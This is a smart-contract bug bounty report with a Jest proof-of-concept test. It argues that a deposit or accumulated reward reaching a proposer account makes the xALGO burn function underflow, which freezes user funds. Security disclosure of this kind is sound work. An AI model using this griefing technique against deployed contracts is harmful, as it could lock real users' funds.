#37940 [SC-High] freezing of user funds when reward accumulated or added
#37940 [SC-High] Freezing of user funds When Reward accumulated or added
Submitted on Dec 19th 2024 at 09:51:34 UTC by @Blockian for Audit Comp | Folks: Liquid Staking
Report ID: #37940
Report Type: Smart Contract
Report severity: High
Target: https://github.com/Folks-Finance/algo-liquid-staking-contracts/blob/8bd890fde7981335e9b042a99db432e327681e1a/contracts/xalgo/consensus_v2.py
Impacts:
Permanent freezing of funds
Description
Folks Finance Liquid Staking Bug Report
Freezing of user funds
Description
When rewards are accumulated, the burn
function will get frozen.
This allows a malicious actor to cause the burn
function to revert, locking user funds.
Root Cause
The issue lies in how the burn
function calculates the amount of ALGO to be returned to the user. The logic follows these steps:
algo_balance.store(
App.globalGet(total_active_stake_key)
+ App.globalGet(total_rewards_key)
- App.globalGet(total_unclaimed_fees_key)
),
algo_to_send.store(
mul_scale(
burn_amount,
algo_balance.load(),
get_x_algo_circulating_supply() + burn_amount
)
),
# not interesting
send_algo_from_proposers(Txn.sender(), algo_to_send.load()),
# update total active stake
App.globalPut(total_active_stake_key, App.globalGet(total_active_stake_key) - algo_to_send.load()),
The issue arises as follows:
Rewards accumulation causes the
algo_balance
(total amount of ALGO) to increase.However, the
get_x_algo_circulating_supply
remains constant.When calculating
algo_to_send
, the proportion becomes skewed, potentially resulting inalgo_to_send
exceeding the value oftotal_active_stake_key
.
This discrepancy triggers an underflow during the calculation:
App.globalPut(total_active_stake_key, App.globalGet(total_active_stake_key) - algo_to_send.load())
As a result, the transaction reverts, preventing the burn
function from completing successfully.
Impact
This vulnerability effectively freezes user funds within the protocol because the burn
function becomes unusable. The issue can be exploited in the following scenarios:
Malicious Interaction:
A malicious actor deliberately manipulates the proposer’s account to trigger the underflow, freezing the
burn
functionality.
Innocent Interaction:
A proposer simply accumulates rewards over time, unintentionally leading to the same issue.
Proof of Concept
POC
Run this test file, the IMMUNEFI POC
test is the main test to watch
import {
ABIContract,
Account,
Algodv2,
AtomicTransactionComposer,
decodeAddress,
decodeUint64,
encodeUint64,
generateAccount,
getApplicationAddress,
getMethodByName,
IntDecoding,
makeApplicationCreateTxn,
makeApplicationUpdateTxn,
makeBasicAccountTransactionSigner,
modelsv2,
OnApplicationComplete,
} from "algosdk";
import { mulScale, mulScaleRoundUp, ONE_16_DP, ONE_4_DP } from "folks-finance-js-sdk";
import { sha256 } from "js-sha256";
import { prepareOptIntoAssetTxn } from "./transactions/common";
import {
parseXAlgoConsensusV1GlobalState,
prepareAddProposerForXAlgoConsensus,
prepareBurnFromXAlgoConsensusV2,
prepareClaimDelayedMintFromXAlgoConsensus,
prepareClaimXAlgoConsensusV2Fee,
prepareDelayedMintFromXAlgoConsensusV2,
prepareImmediateMintFromXAlgoConsensusV2,
prepareInitialiseXAlgoConsensusV1,
prepareInitialiseXAlgoConsensusV2,
preparePauseXAlgoConsensusMinting,
prepareRegisterXAlgoConsensusOffline,
prepareRegisterXAlgoConsensusOnline,
prepareScheduleXAlgoConsensusSCUpdate,
prepareUpdateXAlgoConsensusAdmin,
prepareUpdateXAlgoConsensusV2Fee,
prepareUpdateXAlgoConsensusPremium,
prepareUpdateXAlgoConsensusMaxProposerBalance,
prepareUpdateXAlgoConsensusSC,
prepareSetXAlgoConsensusProposerAdmin,
prepareSubscribeXAlgoConsensusProposerToXGov,
prepareUnsubscribeXAlgoConsensusProposerFromXGov,
prepareXAlgoConsensusDummyCall,
parseXAlgoConsensusV2GlobalState,
prepareCreateXAlgoConsensusV1,
prepareMintFromXAlgoConsensusV1,
} from "./transactions/xAlgoConsensus";
import { getABIContract } from "./utils/abi";
import { getAlgoBalance, getAssetBalance } from "./utils/account";
import {
compilePyTeal,
compileTeal,
enc,
getAppGlobalState,
getParsedValueFromState,
parseUint64s
} from "./utils/contracts";
import { fundAccountWithAlgo } from "./utils/fund";
import { privateAlgodClient, startPrivateNetwork, stopPrivateNetwork } from "./utils/privateNetwork";
import { advanceBlockRounds, advancePrevBlockTimestamp } from "./utils/time";
import { getParams, submitGroupTransaction, submitTransaction } from "./utils/transaction";
jest.setTimeout(1000000);
describe("Algo Consensus V2", () => {
let algodClient: Algodv2;
let prevBlockTimestamp: bigint;
let user1: Account = generateAccount();
let user2: Account = generateAccount();
let proposer0: Account = generateAccount();
let proposer1: Account = generateAccount();
let admin: Account = generateAccount();
let registerAdmin: Account = generateAccount();
let xGovAdmin: Account = generateAccount();
let proposerAdmin: Account = generateAccount();
let xAlgoAppId: number, xAlgoId: number;
let xAlgoConsensusABI: ABIContract;
let xGovRegistryAppId: number;
let xGovRegistryABI: ABIContract;
let xGovFee: bigint;
const timeDelay = BigInt(86400);
const minProposerBalance = BigInt(5e6);
const maxProposerBalance = BigInt(500e6);
const premium = BigInt(0.001e16); // 0.1%
const fee = BigInt(0.1e4); // 10%
const nonce = Uint8Array.from([0, 0]);
const resizeProposerBoxCost = BigInt(16000);
const updateSCBoxCost = BigInt(32100);
const delayMintBoxCost = BigInt(36100);
async function getXAlgoRate() {
const atc = new AtomicTransactionComposer();
atc.addMethodCall({
sender: user1.addr,
signer: makeBasicAccountTransactionSigner(user1),
appID: xAlgoAppId,
method: getMethodByName(xAlgoConsensusABI.methods, "get_xalgo_rate"),
methodArgs: [],
suggestedParams: await getParams(algodClient),
});
const simReq = new modelsv2.SimulateRequest({
txnGroups: [],
allowUnnamedResources: true,
})
const { methodResults } = await atc.simulate(algodClient, simReq);
const { returnValue } = methodResults[0];
const [algoBalance, xAlgoCirculatingSupply, balances]: [bigint, bigint, Uint8Array] = returnValue as any;
const proposersBalances = parseUint64s(Buffer.from(balances).toString("base64"));
return { algoBalance, xAlgoCirculatingSupply, proposersBalances } ;
}
beforeAll(async () => {
await startPrivateNetwork();
algodClient = privateAlgodClient();
algodClient.setIntEncoding(IntDecoding.MIXED);
// initialise accounts with algo
await fundAccountWithAlgo(algodClient, user1.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, user2.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, admin.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, registerAdmin.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, xGovAdmin.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, proposerAdmin.addr, 1000e6, await getParams(algodClient));
// advance time well past current time so we are dealing with deterministic time using offsets
prevBlockTimestamp = await advancePrevBlockTimestamp(algodClient, 1000);
// deploy xgov registry
const approval = await compileTeal(compilePyTeal('contracts/testing/xgov_registry'));
const clear = await compileTeal(compilePyTeal('contracts/common/clear_program', 10));
const tx = makeApplicationCreateTxn(user1.addr, await getParams(algodClient), OnApplicationComplete.NoOpOC, approval, clear, 0, 0, 1, 0);
const txId = await submitTransaction(algodClient, tx, user1.sk);
const txInfo = await algodClient.pendingTransactionInformation(txId).do();
xGovRegistryAppId = txInfo["application-index"];
xGovRegistryABI = getABIContract('contracts/testing/xgov_registry');
xGovFee = BigInt(getParsedValueFromState(await getAppGlobalState(algodClient, xGovRegistryAppId), "xgov_fee") || 0);
});
afterAll(() => {
stopPrivateNetwork();
});
describe("creation" , () => {
test("succeeds in updating from x algo consensus v1 to x algo consensus v2", async () => {
// deploy algo consensus v1
const { tx: createTx, abi } = await prepareCreateXAlgoConsensusV1(admin.addr, admin.addr, registerAdmin.addr, minProposerBalance, maxProposerBalance, premium, fee, await getParams(algodClient));
xAlgoConsensusABI = abi;
let txId = await submitTransaction(algodClient, createTx, admin.sk);
let txInfo = await algodClient.pendingTransactionInformation(txId).do();
xAlgoAppId = txInfo["application-index"];
// fund minimum balance
await fundAccountWithAlgo(algodClient, proposer0.addr, BigInt(0.1e6), await getParams(algodClient));
await fundAccountWithAlgo(algodClient, getApplicationAddress(xAlgoAppId), 0.6034e6);
// initialise algo consensus v1
const initTxns = prepareInitialiseXAlgoConsensusV1(xAlgoConsensusABI, xAlgoAppId, admin.addr, proposer0.addr, await getParams(algodClient));
[, txId] = await submitGroupTransaction(algodClient, initTxns, [proposer0.sk, admin.sk]);
txInfo = await algodClient.pendingTransactionInformation(txId).do();
xAlgoId = txInfo['inner-txns'][0]['asset-index'];
// verify xAlgo was created
const assetInfo = await algodClient.getAssetByID(xAlgoId).do();
expect(assetInfo.params.creator).toEqual(getApplicationAddress(xAlgoAppId));
expect(assetInfo.params.reserve).toEqual(getApplicationAddress(xAlgoAppId));
expect(assetInfo.params.total).toEqual(BigInt(10e15));
expect(assetInfo.params.decimals).toEqual(6);
expect(assetInfo.params.name).toEqual('Governance xAlgo');
expect(assetInfo.params['unit-name']).toEqual('xALGO');
// opt into xALGO
let optInTx = prepareOptIntoAssetTxn(admin.addr, xAlgoId, await getParams(algodClient));
await submitTransaction(algodClient, optInTx, admin.sk);
optInTx = prepareOptIntoAssetTxn(user1.addr, xAlgoId, await getParams(algodClient));
await submitTransaction(algodClient, optInTx, user1.sk);
optInTx = prepareOptIntoAssetTxn(user2.addr, xAlgoId, await getParams(algodClient));
await submitTransaction(algodClient, optInTx, user2.sk);
// mint to get pool started
const mintAmount = BigInt(100e6);
const mintTxns = prepareMintFromXAlgoConsensusV1(xAlgoConsensusABI, xAlgoAppId, xAlgoId, user2.addr, mintAmount, proposer0.addr, await getParams(algodClient));
await submitGroupTransaction(algodClient, mintTxns, mintTxns.map(() => user2.sk));
// verify global state
const state = await parseXAlgoConsensusV1GlobalState(algodClient, xAlgoAppId);
expect(state.initialised).toEqual(true);
expect(state.admin).toEqual(admin.addr);
expect(state.registerAdmin).toEqual(registerAdmin.addr);
expect(state.xAlgoId).toEqual(xAlgoId);
expect(state.numProposers).toEqual(BigInt(1));
expect(state.minProposerBalance).toEqual(minProposerBalance);
expect(state.maxProposerBalance).toEqual(maxProposerBalance);
expect(state.fee).toEqual(fee);
expect(state.premium).toEqual(premium);
expect(state.totalPendingStake).toEqual(BigInt(0));
expect(state.totalActiveStake).toEqual(mintAmount);
expect(state.totalRewards).toEqual(BigInt(0));
expect(state.totalUnclaimedFees).toEqual(BigInt(0));
expect(state.canImmediateMint).toEqual(true);
expect(state.canDelayMint).toEqual(false);
// verify proposers box
const proposersBox = await algodClient.getApplicationBoxByName(xAlgoAppId, enc.encode("pr")).do();
const proposers = new Uint8Array(960);
proposers.set(decodeAddress(proposer0.addr).publicKey, 0);
expect(proposersBox.value).toEqual(proposers);
// verify added proposer box
const boxName = Uint8Array.from([...enc.encode("ap"), ...decodeAddress(proposer0.addr).publicKey]);
const addedProposerBox = await algodClient.getApplicationBoxByName(xAlgoAppId, boxName).do();
expect(addedProposerBox.value).toEqual(new Uint8Array(0));
// verify balances
const user2XAlgoBalance = await getAssetBalance(algodClient, user2.addr, xAlgoId);
expect(user2XAlgoBalance).toEqual(mintAmount);
// update to algo consensus v2
const approval = await compileTeal(compilePyTeal('contracts/xalgo/consensus_v2'));
const clear = await compileTeal(compilePyTeal('contracts/common/clear_program', 10));
const updateTx = makeApplicationUpdateTxn(admin.addr, await getParams(algodClient), xAlgoAppId, approval, clear);
await submitTransaction(algodClient, updateTx, admin.sk);
xAlgoConsensusABI = getABIContract('contracts/xalgo/consensus_v2');
});
});
describe("initialise", () => {
test("succeeds for admin", async () => {
const oldState = await parseXAlgoConsensusV1GlobalState(algodClient, xAlgoAppId);
// initialise
const tx = prepareInitialiseXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, admin.addr, await getParams(algodClient));
await submitTransaction(algodClient, tx, admin.sk);
// verify global state
const unformattedState = await getAppGlobalState(algodClient, xAlgoAppId);
expect(getParsedValueFromState(unformattedState, "initialised")).toBeUndefined();
expect(getParsedValueFromState(unformattedState, "min_proposer_balance")).toBeUndefined();
const state = await parseXAlgoConsensusV2GlobalState(algodClient, xAlgoAppId);
expect(state.initialised).toEqual(true);
expect(state.admin).toEqual(oldState.admin);
expect(state.xGovAdmin).toEqual(oldState.admin);
expect(state.registerAdmin).toEqual(oldState.registerAdmin);
expect(state.xAlgoId).toEqual(oldState.xAlgoId);
expect(state.numProposers).toEqual(oldState.numProposers);
expect(state.maxProposerBalance).toEqual(oldState.maxProposerBalance);
expect(state.fee).toEqual(oldState.fee);
expect(state.premium).toEqual(oldState.premium);
expect(state.totalPendingStake).toEqual(oldState.totalPendingStake);
expect(state.totalActiveStake).toEqual(oldState.totalActiveStake);
expect(state.totalRewards).toEqual(oldState.totalRewards);
expect(state.totalUnclaimedFees).toEqual(oldState.totalUnclaimedFees);
expect(state.canImmediateMint).toEqual(oldState.canImmediateMint);
expect(state.canDelayMint).toEqual(oldState.canDelayMint);
// const { algoBalance: a, xAlgoCirculatingSupply: b, proposersBalances: c } = await getXAlgoRate();
// console.log(`algoBalance: ${a}, xAlgoCirculatingSupply: ${b}, proposersBalances: ${c}`)
});
});
describe("IMMUNEFI POC: Rewards accumulated brick burn system", () => {
const proposerAddrs = [proposer0.addr, proposer1.addr];
beforeAll(async () => {
// fund proposer
await fundAccountWithAlgo(algodClient, proposer1.addr, BigInt(0.1e6), await getParams(algodClient)); // supply 0.2e6 to opt in to xAlgo
// opt in to xAlgo before adding proposer
// const optInTx = prepareOptIntoAssetTxn(proposer1.addr, xAlgoId, await getParams(algodClient));
// await submitTransaction(algodClient, optInTx, proposer1.sk);
// add proposer1
const minBalance = BigInt(16100);
await fundAccountWithAlgo(algodClient, getApplicationAddress(xAlgoAppId), minBalance, await getParams(algodClient));
// register
const txnsAddProposer = prepareAddProposerForXAlgoConsensus(xAlgoConsensusABI, xAlgoAppId, registerAdmin.addr, proposer1.addr, await getParams(algodClient));
const [, txIdAddProposer] = await submitGroupTransaction(algodClient, txnsAddProposer, [proposer1.sk, registerAdmin.sk]);
await algodClient.pendingTransactionInformation(txIdAddProposer).do();
console.log("added second proposer proposer");
})
test("user can't withdraw Algo", async () => {
await fundAccountWithAlgo(algodClient, proposer1.addr, BigInt(1), await getParams(algodClient)); // supply 1 to proposer
const { algoBalance: a, xAlgoCirculatingSupply: b, proposersBalances: c } = await getXAlgoRate(); // debug
console.log(`algoBalance: ${a}, xAlgoCirculatingSupply: ${b}, proposersBalances: ${c}`); // debug
const { xAlgoCirculatingSupply: xAlgoToBurn } = await getXAlgoRate();
const txns = prepareBurnFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId, user2.addr, xAlgoToBurn, BigInt(0), proposerAddrs, await getParams(algodClient));
await submitGroupTransaction(algodClient, txns, txns.map(() => user2.sk))
});
});
});